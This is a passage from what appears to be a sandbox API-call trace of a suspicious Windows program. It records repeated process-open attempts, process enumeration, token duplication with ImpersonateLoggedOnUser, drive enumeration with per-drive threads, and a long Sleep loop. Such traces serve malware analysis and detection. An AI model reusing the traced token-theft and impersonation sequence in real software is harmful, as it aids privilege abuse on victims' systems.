0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.460] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.460] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.460] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.460] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.460] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.460] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.460] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.461] NtClose (Handle=0x434) returned 0x0 [0085.462] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0085.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cfe0 [0085.462] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x1b82cfe0 | out: lpBuffer="C:\\") returned 0x4 [0085.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0085.462] wcscpy (in: _Dest=0x1b7d3400, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20a) returned 0x1b77af50 [0085.462] QueryDosDeviceW (in: lpDeviceName="C:", lpTargetPath=0x1b77af50, ucchMax=0x104 | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0085.463] wcscat (in: _Dest=0x1b77af50, _Source="\\" | out: _Dest="\\Device\\HarddiskVolume1\\") returned="\\Device\\HarddiskVolume1\\" [0085.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b7ce940 [0085.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b56950, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0085.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b56850, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0085.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x1b837480 [0085.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b837480, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x1b837480, ResultLength=0x0) returned 0xc0000004 [0085.466] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b837480, Size=0x2048) returned 0x1b857450 [0085.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.466] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x306c) returned 0x1b857450 [0085.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.466] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x4090) returned 0x1b857450 [0085.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.466] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x50b4) returned 0x1b857450 [0085.467] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.467] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x60d8) returned 0x1b857450 [0085.467] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.467] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x70fc) returned 0x1b857450 [0085.467] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.467] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x8120) returned 0x1b857450 [0085.467] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.468] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x9144) returned 0x1b857450 [0085.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.468] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xa168) returned 0x1b857450 [0085.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.468] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xb18c) returned 0x1b857450 [0085.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.468] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xc1b0) returned 0x1b857450 [0085.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.469] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xd1d4) returned 0x1b857450 [0085.469] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.469] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xe1f8) returned 0x1b857450 [0085.469] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.469] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xf21c) returned 0x1b857450 [0085.469] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.469] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x10240) returned 0x1b857450 [0085.470] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.470] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x11264) returned 0x1b857450 [0085.470] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.470] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x12288) returned 0x1b857450 [0085.470] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0x0 [0085.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b857450) returned 1 [0085.470] NtOpenProcess (in: ProcessHandle=0x1c7fe0a8, DesiredAccess=0x400, ObjectAttributes=0x1c7fe108*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe0e8*(UniqueProcess=0x1ac, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe0a8*=0x418) returned 0x0 [0085.470] NtOpenProcessToken (in: ProcessHandle=0x418, DesiredAccess=0xf, TokenHandle=0x1c7fe0a0 | out: TokenHandle=0x1c7fe0a0*=0x414) returned 0x0 [0085.471] DuplicateTokenEx (in: hExistingToken=0x414, dwDesiredAccess=0x2000000, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x1c7fe0b0 | out: phNewToken=0x1c7fe0b0*=0x410) returned 1 [0085.471] NtClose (Handle=0x414) returned 0x0 [0085.471] NtClose (Handle=0x418) returned 0x0 [0085.471] ImpersonateLoggedOnUser (hToken=0x410) returned 1 [0085.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x168d60 [0085.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x1b837480 [0085.471] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b837480, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x1b837480, ResultLength=0x0) returned 0xc0000004 [0085.471] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b837480, Size=0x2048) returned 0x1b857450 [0085.471] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.471] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x306c) returned 0x1b857450 [0085.471] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.471] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x4090) returned 0x1b857450 [0085.471] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.471] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x50b4) returned 0x1b857450 [0085.471] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.472] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x60d8) returned 0x1b857450 [0085.472] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.472] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x70fc) returned 0x1b857450 [0085.472] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.472] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x8120) returned 0x1b857450 [0085.472] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.472] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x9144) returned 0x1b857450 [0085.472] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.472] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xa168) returned 0x1b857450 [0085.472] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.473] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xb18c) returned 0x1b857450 [0085.473] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.473] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xc1b0) returned 0x1b857450 [0085.473] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.473] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xd1d4) returned 0x1b857450 [0085.473] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.473] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xe1f8) returned 0x1b857450 [0085.473] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.473] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xf21c) returned 0x1b857450 [0085.473] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.474] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x10240) returned 0x1b857450 [0085.474] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.474] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x11264) returned 0x1b857450 [0085.474] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.474] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x12288) returned 0x1b857450 [0085.474] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0x0 [0085.474] NtOpenProcess (in: ProcessHandle=0x1c7fe0b8, DesiredAccess=0x400, ObjectAttributes=0x1c7fe138*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe0f8*(UniqueProcess=0x454, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe0b8*=0x418) returned 0x0 [0085.474] NtOpenProcessToken (in: ProcessHandle=0x418, DesiredAccess=0xf, TokenHandle=0x1c7fe1d8 | out: TokenHandle=0x1c7fe1d8*=0x414) returned 0x0 [0085.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x1695e0 [0085.474] GetTokenInformation (in: TokenHandle=0x414, TokenInformationClass=0x1, TokenInformation=0x1695e0, TokenInformationLength=0x100, ReturnLength=0x1c7fe1d0 | out: TokenInformation=0x1695e0, ReturnLength=0x1c7fe1d0) returned 1 [0085.474] ConvertSidToStringSidW () returned 0x1 [0085.475] LocalFree (hMem=0x1b7c1aa0) returned 0x0 [0085.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1695e0) returned 1 [0085.475] DuplicateTokenEx (in: hExistingToken=0x414, dwDesiredAccess=0x2000000, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x1c7fe0c8 | out: phNewToken=0x1c7fe0c8*=0x40c) returned 1 [0085.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4) returned 0x1b7d3400 [0085.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3410 [0085.475] NtClose (Handle=0x414) returned 0x0 [0085.475] NtClose (Handle=0x418) returned 0x0 [0085.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b857450) returned 1 [0085.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168d60) returned 1 [0085.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0085.475] RevertToSelf () returned 1 [0085.479] SetErrorMode (uMode=0x8003) returned 0x1 [0085.479] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0085.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cfe0 [0085.479] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x1b82cfe0 | out: lpBuffer="C:\\") returned 0x4 [0085.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0085.479] wcscpy (in: _Dest=0x1b7d3400, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.479] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0085.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d3400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0085.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52980, lpParameter=0x40c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0085.482] Sleep (dwMilliseconds=0x3e8) [0090.531] Sleep (dwMilliseconds=0x3e8) [0096.942] Sleep (dwMilliseconds=0x3e8) [0120.255] Sleep (dwMilliseconds=0x3e8) [0127.635] Sleep (dwMilliseconds=0x3e8) [0145.826] Sleep (dwMilliseconds=0x3e8) [0151.066] Sleep (dwMilliseconds=0x3e8) [0152.124] Sleep (dwMilliseconds=0x3e8) [0158.149] Sleep (dwMilliseconds=0x3e8) [0159.198] Sleep (dwMilliseconds=0x3e8) [0160.212] Sleep (dwMilliseconds=0x3e8) [0165.953] Sleep (dwMilliseconds=0x3e8) [0166.970] Sleep (dwMilliseconds=0x3e8) [0167.995] Sleep (dwMilliseconds=0x3e8) [0169.031] Sleep (dwMilliseconds=0x3e8) [0170.087] Sleep (dwMilliseconds=0x3e8) [0171.253] Sleep (dwMilliseconds=0x3e8) [0172.289] Sleep (dwMilliseconds=0x3e8) [0173.359] Sleep (dwMilliseconds=0x3e8) [0174.583] Sleep (dwMilliseconds=0x3e8) [0175.797] Sleep (dwMilliseconds=0x3e8) [0176.838] Sleep (dwMilliseconds=0x3e8) [0177.869] Sleep (dwMilliseconds=0x3e8) [0178.895] Sleep (dwMilliseconds=0x3e8) [0179.949] Sleep (dwMilliseconds=0x3e8) [0182.221] Sleep (dwMilliseconds=0x3e8) [0183.705] Sleep (dwMilliseconds=0x3e8) [0184.831] Sleep (dwMilliseconds=0x3e8) [0185.874] Sleep (dwMilliseconds=0x3e8) [0187.266] Sleep (dwMilliseconds=0x3e8) [0190.807] Sleep (dwMilliseconds=0x3e8) [0191.823] Sleep 